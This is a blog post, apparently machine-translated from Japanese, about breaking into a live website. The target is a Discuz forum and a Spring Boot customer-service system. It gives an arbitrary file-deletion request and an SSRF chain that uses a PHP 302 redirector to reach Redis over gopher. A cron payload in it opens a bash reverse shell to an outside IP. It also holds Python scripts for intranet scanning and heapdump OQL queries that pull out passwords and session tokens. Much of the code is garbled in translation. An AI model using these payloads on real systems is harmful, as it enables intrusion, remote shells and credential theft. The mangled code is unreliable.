Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86374603

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

メインサイトを登録するときに、JSPとPHPの接尾辞が共存することがわかります。異なるルートが異なるミドルウェアを逆転させたため、脆弱性は見つかりません。

Image

フォーラムはディスクです! x3.2

Image

Discuz緊急治療室が見つかりました。

Image

admin.php 403、uc_server、および緊急治療室には、パスワードが弱い。

《渗透某盗版游戏网站》で、ディスクスのバックグラウンドにある脆弱性を紹介しましたが、フロントデスクの脆弱性についてはどうでしょうか。主に、任意のファイル削除、SSRF、およびUC_Serverブラストがあります。

まず、ファイルを削除します。

post /home.php?mod=spacecpac=profileop=base

birthprovince=./././info.php

Image

次に、ファイルを投稿してinfo.phpを削除します

format='https://x.com/home.php?mod=spacecpac=profileop=base'method=' post 'enctype=' multipart/form-data '入力タイプ=' name='birthprovince' id='file'/inputタイプ='text'name=' text=''/input '/inputip'/input 'prept' prept 'preper value='1'/input type='submit' value='submit' //Discuzがファイルを削除してインストールすることは困難です。

もう一度SSRFを見てみましょう。

/forum.php?mod=ajaxaction=downRemoteimgmessage=

これは、反響せず、時間遅延によってのみ判断することができるSSRFです。

1. HTTPを介してイントラネットを直接検出できます。 IPが生き残ると、短い遅延があり(ポートが開いているかどうかに関係なく)、IPが存在しない場合、長い遅延があります。

2。プロトコルは302ジャンプで変更でき、FTP、DICT、およびGOPHERをサポートできます。

第三に、ポートはFTPプロトコルを介して検出できます。ポートが開いている場合、長い遅延があり、ポートが閉じていると短い遅延があります。

最初に、HTTPプロトコルを介してVPSにアクセスして、フォーラムの実際のIPを取得します。

163.*。 *.35.bc.googleusercontent.com(35。*。*。163)

その後、ローカルレディスを盲目的に呼び出すようにしてください(ここではローカルポートを検出するために、それは不合理なので、私はそれを直接盲目的に呼びます)

GopherプロトコルがRedisをローカルで攻撃する場合、コマンド文字列の各行の長さを$で宣言する必要がないことがわかります。

最初に、クリアSSRF攻撃ペイロードを参照してください

/forum.php?mod=ajaxaction=downRemoteimgmessage=dbfileName root%0d%0aset 0 '\ n \ n */1 * * * * * * bash -i /dev/tcp/62.1.1.1/566701/n\n'%0d%0Asave%0D%0Aquit%0D%0Axx=1.png

次に、302.phpの間?データ=、URLをエンコードする必要があり、データ=xx=1.からすべての文字列が2回エンコードされ、BPでパッケージ化されます。

/forum.php?mod=ajaxaction=downremoteimgmessage=%36%36%63%25%37%35%25%37%33%25%36%38%25%36%31%25%36%63%25%36%63%25%32%35%25%33%33%25%36%33%25%36%33%25%36%336 30%25%36%34%25%32%35%25%33%30%25%36%31%25%36%33%25%36%66%25%36%65%25%36%36%25%36%25%36%39%25%36%37 %25%32%30%25%36%25%36%31%25%37%32%30%30%36%32%25%32%30%25%36%32%66%25%37%36%31%25%37%32%25%32%32%66 %25%37%33%25%37%30%25%36%66%25%36%66%25%36%66%25%36%63%25%32%66%25%36%33%25%36%33%25%36%65%32%66%25%36%65%36% 25%32%35%25%36%34%25%32%35%25%33%30%25%36%31%25%36%33%25%36%66%25%36%25%36%25%36%25%36%39%25%36%37%25%32%30%2 5%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25 %36%64%25%36%35%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25% 36%31%25%37%33%25%36%35%25%37%34%25%32%30%25%33%30%25%32%30%25%32%32%25%35 %63%25%36%65%25%35%63%25%36%65%25%32%61%25%32%61%25%32%30%25%32%61%25%32%30 %25%32%61%25%32%61%25%32%30%25%32%61%25%32%61%25%30%30%25%32%61%25%32%30%25 %32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%332%30%25%32%30%25%32%30%25%36 %32%25%36%31%31%25%37%33%25%36%38%25%32%30%25%32%66%36%25%32%66%25%34%25%36%36%34% 25%36%35%25%36%32%66%25%33%31%25%32%66%25%33%31%25%32%66%25%32%65%31%32%65%31%32%6 5%25%33%31%25%32%65%25%33%31%25%32%66%25%33%35%25%33%36%25%33%36%25%33%37%25%32%30%33%33%30%25%33%65%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25% 32%36%25%33%30%25%33%65%25%36%36%25%33%30%25%33%30%25%36%34%32%35%25%33%30%25%33%30%33%33%30%25%36%31%31%31%31% 25%37%33%25%36%31%25%37%36%25%36%35%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%31%25%37%37% 31%25%37%35%25%36%39%25%37%34%25%32%35%25%33%30%25%36%31%25%32%36xx=1.png [/img] formhash=017b5107

しかし、ペイロードは、Discuzが提供するXSSおよびSQLインジェクション保護によって傍受されたことがわかりました。

Image

したがって、ペイロードはVPSでのみ記述できます。

?php

$ ip=$ _ get ['ip'];

$ port=$ _ get ['port'];

$ scheme=$ _ get ['s'];

$ data='_ flushall%0d%0aconfigset dir/var/spool/cron/%0d%0aconfig set dbfilename root% /566701 \ n \ n '%0d%0asave%0d%0aquit%0d%0aquit%0d%0a';

Header( 'Location: $ scheme: //$ ip: $ port/$ data');

VPSのRedisを成功させることができる/forum.php?mod=ajaxaction=downremoteimgmessage=[img=1,1] http://62.1.1.1/302.php?s=gopher%26IP=62.1.1.1.1.1.1 %26ポート=637999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999」

Image

問題ない。ただし、実際の環境では使用率が失敗しました。その理由は不確実であり、Redisがない、Redis許可の不足、またはパスワードがあることが可能です。

イントラネットを検出するためにスクリプトを書き始めましたが、あまり希望がありませんでした。 Google Cloudであり、必ずしもイントラネットを持っているわけではありません。

すべてのイントラネットIPSのIP辞書が作成されています

f=open( 'ip.txt'、 'w')

f.write( '127.0.0.1')

f.write( 'localhost')

範囲のI(1,256):

ip='192.168。'+str(i)+'。1'

F.Write(IP)

範囲(16,32):のIの場合

IIインロン(1,256):の場合

ip='172。'+str(i)+'。'+str(ii)+'。1'

F.Write(IP)

範囲のI(1,256):

IIインロン(1,256):の場合

ip='10。 '+str(i)+'。 '+str(ii)+'。1 '

F.Write(IP)

f.close()

次に、時間遅延を使用してイントラネットIPセグメントを見つけます。ここでは、IPブロッキングの遅延は7秒以上であるため、複数のスレッドを使用して完了する必要があります。 IPのプロトコルがあるかどうかを検出しても問題ないため、Gopherを使用してRedisのペイロードを直接攻撃するだけです。

リクエストシムポートスレッディングDEF SSRF(i): url=をインポートします'https://x.com/forum.php?mod=ajaxaction=downRemoteimgmessage={'user-agent':'mozilla/5.0(Windows nt 6.1; win64; x64; rv336079.0)gecko/20100101 firefox/79.0'、 'Accept':itext/html、application/xhtml+xml 'Accept-Language':' zh-cn、zh; q=0.8、zh-tw; q=0.7、zh-hk; q=0.5、en-us; q=0.3、en; q=0.2 '、' accept-encoding': 'gzip、deflate'、 'connection'、 'cookie={'PNUE_2132_SALTKEY':'VX3WOD3T'、 'PNUE_2132_AUTH':'8B46%2F9AD2X2XYFYESVQ aytdhs%2fvwrzigqlwce3iar6aiwux8ragrp%2bgrkmv39ylno2gaifhep01aghxapi0ocyxirnkx '} r=requests.get(url、cookie=cookie、headers=header、aople_redirects=false)r.elapsed.total_seconds()6: timeout=str(i)+'port3360'+str(r.elapsed.total_seconds())他の:タイムアウト=印刷str(i)+'port3360'+str(r.elapsed.total_seconds())fo=open( 'openip.txt'、 'a') threading.thread(target=ssrf、args=(i、)))name.append(th)th.start()for th inaname: th.join()folist=open( 'ip.txt'、 'r')list=[] flag=0 for i infolist.readlines(): i=i.Replace( '' ') list.append(i)flag=flag+1 else:スレッド(リスト)フラグ=0 list=[]オープンゲートウェイのみが見つかります172.30.2.1は、このゲートウェイでイントラネットIPを実行し、IP.TXTを置き換えます。

Image

その結果、1日走った後、私は2つのイントラネットIPS、172.30.2.1と172.30.2.2のみを使い果たしました。確率は、172.30.2.2それ自体が、172.30.2.1がクラウドサーバーの仮想ゲートウェイであることです。

最後に、FTPプロトコルを使用してポートを実行し、スクリプトを自分で変更するだけです。

Image

それらのほとんどは誤ったアラームであり、実際には2つのポート80と443のみを開くため、他のイントラネットIPが後で見つからない限り、SSRFは予想されません。

最後のUC_Serverブラストは、XFFヘッダーを変更してグラフィック検証コードを修正することであり、使用が失敗します。詳細については、https://www.freebuf.com/articles/web/197546.htmlを参照してください

フォーラムは終わりました。カスタマーサービスシステムの何が問題なのか見てみましょう。

Image

/res/image.html?id=upload/6c825ed7ea4cd25657288888884f7d0227f

IDパラメーターが渡され、ディレクトリを交差できません。ファイルのアップロードを使用できないため、ディレクトリスキャンを開始します。

Image

管理者ログインインターフェイスにはスライダーの検証がありますが、フロントエンドからの詐欺であり、バックエンドでは役に立たないため、爆発しようとすることは実りがありません。

表示/アクチュエータを表示すると、Spring Bootであり、ターゲット辞書を使用して爆破します。

/swagger-ui.htmlはempty、 /envジャンプadmin、 /heapdump 403です。

しかし、私は/heapdump.jsonからそれを試してみました

Image

1Gメモリファイルを解凍し、メモリアランライザーを使用して開き、OQLをクエリします。

/envとの協力はないため、構成情報を盲目的に確認することができます。ここに私が理解したいくつかのヒントがあります。

select* from org.springframework.web.context.support.standardservletenvironment Check構成から、保持されたヒープ(サイズ)のソートに注意してください。

Image

[Java.lang.Stringから*から*を選択します。この検索方法は、関連するクラスを簡単に見つけることができませんが、ログインレコードなどをすばやく見つけることができます。パスワードをhttp://に置き換えると、いくつかのURLを見つけることができます。

Image

java.util.hashtable $ entry x from java.util.hashtable $ entry x Where(toString(x.key).contains( 'username'))select* from java.util.hashtable $ entry x where(toString(x.key).contains( 'password'))select* from java.util.hashtable $ x (toString(x.key).contains( 'url'))select* from java.util.hashtable $ entry x where(toString(x.key).contains( 'url'))データベース関連情報をすばやく確認し、MySQLアドレスアドレスアカウントパスワードを見つけました。ただし、残念ながら、AmazonのデータベースにはデフォルトでIPホワイトリストがあり、リモートでログインできません。

Image

select*from java.lang.string sは、 '。*session。*'のようなtoString(s)がログインしていることを発見し、交換後に背景にログインします。

Image

背景は、リアルタイムの会話にWSSSプロトコルを使用しており、アバターとカスタマーサービスの返信に使用率はありません。有毒な犬のいくつかの嘆きだけが見つかりました。

Image

ブラックボックステストは実りがありませんでした。 Heapdumpで注目のクラス名を検索してから、Githubで検索しました。ソースコードのコピーを初期バージョンである可能性があり、ターゲットは改訂版でしたが、ソースコードはそれほど完全ではありませんでした。

Image

不完全なコードを監査し、任意のファイルの読み取りとSSRFを見つけます。

Image

Image

Image

いくつかのソースコードを使用すると、構成ファイルの場所を知っていて、構成ファイルを読み取ります

Image

もちろん、以前にデータベース構成を取得します